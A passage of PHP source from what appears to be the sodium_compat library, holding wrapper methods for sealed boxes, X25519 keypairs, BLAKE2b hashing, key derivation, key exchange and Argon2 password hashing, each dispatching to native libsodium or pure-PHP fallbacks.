     * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
     *     The sender's X25519 keypair is ephemeral.
     *     Nonce is generated from the BLAKE2b hash of both public keys.
     *
     * This provides ciphertext integrity.
     *
     * @param string $plaintext Message to be sealed
     * @param string $publicKey Your recipient's public key
     * @return string           Sealed message that only your recipient can
     *                          decrypt
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_seal($plaintext, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seal($plaintext, $publicKey);
        }
        if (self::use_fallback('crypto_box_seal')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
    }

/**
     * Opens a message encrypted with crypto_box_seal(). Requires
     * the recipient's keypair (sk || pk) to decrypt successfully.
     *
     * This validates ciphertext integrity.
     *
     * @param string $ciphertext Sealed message to be opened
     * @param string $keypair    Your crypto_box keypair
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_seal_open($ciphertext, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_seal_open($ciphertext, $keypair);
        }
        if (self::use_fallback('crypto_box_seal_open')) {
            return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair);
    }

/**
     * Generate a new random X25519 keypair.
     *
     * @return string A 64-byte string; the first 32 are your secret key, while
     *                the last 32 are your public key. crypto_box_secretkey()
     *                and crypto_box_publickey() exist to separate them so you
     *                don't accidentally get them mixed up!
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair();
        }
        if (self::use_fallback('crypto_box_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair();
        }
        return ParagonIE_Sodium_Crypto::box_keypair();
    }

/**
     * Combine two keys into a keypair for use in library methods that expect
     * a keypair. This doesn't necessarily have to be the same person's keys.
     *
     * @param string $secretKey Secret key
     * @param string $publicKey Public key
     * @return string    Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
    }

/**
     * Decrypt a message previously encrypted with crypto_box().
     *
     * @param string $ciphertext Encrypted message
     * @param string $nonce      Number to only be used Once; must be 24 bytes
     * @param string $keypair    Your secret key and the sender's public key
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_open($ciphertext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box_open')) {
            return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair);
    }

/**
     * Extract the public key from a crypto_box keypair.
     *
     * @param string $keypair Keypair containing secret and public key
     * @return string         Your crypto_box public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey($keypair);
        }
        if (self::use_fallback('crypto_box_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_publickey($keypair);
    }

/**
     * Calculate the X25519 public key from a given X25519 secret key.
     *
     * @param string $secretKey Any X25519 secret key
     * @return string           The corresponding X25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_box_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
    }

/**
     * Extract the secret key from a crypto_box keypair.
     *
     * @param string $keypair
     * @return string         Your crypto_box secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_secretkey($keypair);
        }
        if (self::use_fallback('crypto_box_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
    }

/**
     * Generate an X25519 keypair from a seed.
     *
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress UndefinedFunction
     */
    public static function crypto_box_seed_keypair($seed)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_box_seed_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
        }
        return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
    }

/**
     * Calculates a BLAKE2b hash, with an optional key.
     *
     * @param string      $message The message to be hashed
     * @param string|null $key     If specified, must be a string between 16
     *                             and 64 bytes long
     * @param int         $length  Output length in bytes; must be between 16
     *                             and 64 (default = 32)
     * @return string              Raw binary
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash($message, $key = '', $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3);

/* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_generichash($message, $key, $length);
        }
        if (self::use_fallback('crypto_generichash')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash($message, $key, $length);
    }

/**
     * Get the final BLAKE2b hash output for a given context.
     *
     * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init().
     * @param int $length Hash output size.
     * @return string     Final BLAKE2b hash.
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     * @psalm-suppress ConflictingReferenceConstraint
     */
    public static function crypto_generichash_final(&$ctx, $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_final($ctx, $length);
        }
        if (self::use_fallback('crypto_generichash_final')) {
            $func = '\\Sodium\\crypto_generichash_final';
            return (string) $func($ctx, $length);
        }
        if ($length < 1) {
            try {
                self::memzero($ctx);
            } catch (SodiumException $ex) {
                unset($ctx);
            }
            return '';
        }
        if (PHP_INT_SIZE === 4) {
            $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length);
        } else {
            $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length);
        }
        try {
            self::memzero($ctx);
        } catch (SodiumException $ex) {
            unset($ctx);
        }
        return $result;
    }

/**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init($key = '', $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_init($key, $length);
        }
        if (self::use_fallback('crypto_generichash_init')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init($key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
    }

/**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @param string $salt     Salt (up to 16 bytes)
     * @param string $personal Personalization string (up to 16 bytes)
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init_salt_personal(
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES,
        $salt = '',
        $personal = ''
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4);
        $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT);
        $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT);

/* Input validation: */
        if (!empty($key)) {
            /*
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            */
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal);
        }
        return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal);
    }

/**
     * Update a BLAKE2b hashing context with additional data.
     *
     * @param string $ctx    BLAKE2 hashing context. Generated by crypto_generichash_init().
     *                       $ctx is passed by reference and gets updated in-place.
     * @param-out string $ctx
     * @param string $message The message to append to the existing hash state.
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     */
    public static function crypto_generichash_update(&$ctx, $message)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);

if (self::useNewSodiumAPI()) {
            sodium_crypto_generichash_update($ctx, $message);
            return;
        }
        if (self::use_fallback('crypto_generichash_update')) {
            $func = '\\Sodium\\crypto_generichash_update';
            $func($ctx, $message);
            return;
        }
        if (PHP_INT_SIZE === 4) {
            $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message);
        } else {
            $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message);
        }
    }

/**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_generichash_keygen()
    {
        return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
    }

/**
     * @param int $subkey_len
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kdf_derive_from_key(
        $subkey_len,
        $subkey_id,
        $context,
        $key
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
        $subkey_id = (int) $subkey_id;
        $subkey_len = (int) $subkey_len;
        $context = (string) $context;
        $key = (string) $key;

if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) {
            throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN');
        }
        if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) {
            throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX');
        }
        if ($subkey_id < 0) {
            throw new SodiumException('subkey_id cannot be negative');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) {
            throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) {
            throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes');
        }

$salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id);
        $state = self::crypto_generichash_init_salt_personal(
            $key,
            $subkey_len,
            $salt,
            $context
        );
        return self::crypto_generichash_final($state, $subkey_len);
    }

/**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_kdf_keygen()
    {
        return random_bytes(self::CRYPTO_KDF_KEYBYTES);
    }

/**
     * Perform a key exchange, between a designated client and a server.
     *
     * Typically, you would designate one machine to be the client and the
     * other to be the server. The first two keys are what you'd expect for
     * scalarmult() below, but the latter two public keys don't swap places.
     *
     * | ALICE                          | BOB                                 |
     * | Client                         | Server                              |
     * |--------------------------------|-------------------------------------|
     * | shared = crypto_kx(            | shared = crypto_kx(                 |
     * |     alice_sk,                  |     bob_sk,                         | <- contextual
     * |     bob_pk,                    |     alice_pk,                       | <- contextual
     * |     alice_pk,                  |     alice_pk,                       | <----- static
     * |     bob_pk                     |     bob_pk                          | <----- static
     * | )                              | )                                   |
     *
     * They are used along with the scalarmult product to generate a 256-bit
     * BLAKE2b hash unique to the client and server keys.
     *
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_kx($my_secret, $their_public, $client_public, $server_public, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_kx')) {
                return (string) sodium_crypto_kx(
                    $my_secret,
                    $their_public,
                    $client_public,
                    $server_public
                );
            }
        }
        if (self::use_fallback('crypto_kx')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_kx',
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::keyExchange(
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        return ParagonIE_Sodium_Crypto::keyExchange(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }

/**
     * @param string $seed
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_seed_keypair($seed)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

$seed = (string) $seed;

if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) {
            throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes');
        }

$sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

/**
     * @return string
     * @throws Exception
     */
    public static function crypto_kx_keypair()
    {
        $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

/**
     * @param string $keypair
     * @param string $serverPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_client_session_keys($keypair, $serverPublicKey)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2);

$keypair = (string) $keypair;
        $serverPublicKey = (string) $serverPublicKey;

if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

$sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey));
        self::crypto_generichash_update($h, $pk);
        self::crypto_generichash_update($h, $serverPublicKey);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

/**
     * @param string $keypair
     * @param string $clientPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_server_session_keys($keypair, $clientPublicKey)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2);

$keypair = (string) $keypair;
        $clientPublicKey = (string) $clientPublicKey;

if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

$sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey));
        self::crypto_generichash_update($h, $clientPublicKey);
        self::crypto_generichash_update($h, $pk);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

/**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_secretkey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            0,
            self::CRYPTO_KX_SECRETKEYBYTES
        );
    }

/**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_publickey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            self::CRYPTO_KX_SECRETKEYBYTES,
            self::CRYPTO_KX_PUBLICKEYBYTES
        );
    }

/**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $alg
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg = null)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

if (self::useNewSodiumAPI()) {
            if (!is_null($alg)) {
                ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6);
                return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg);
            }
            return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

/**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash')) {
            return true;
        }
        return false;
    }

/**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash_str')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

/**
     * Do we need to rehash this password?
     *
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     * @throws SodiumException
     */
    public static function crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

// Just grab the first 4 pieces.
        $pieces = explode('$', (string) $hash);
        $prefix = implode('$', array_slice($pieces, 0, 4));

// Rebuild the expected header.
        /** @var int $ops */
        $ops = (int) $opslimit;
        /** @var int $mem */
        $mem = (int) $memlimit >> 10;
        $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1';

// Do they match? If so, we don't need to rehash, so return false.
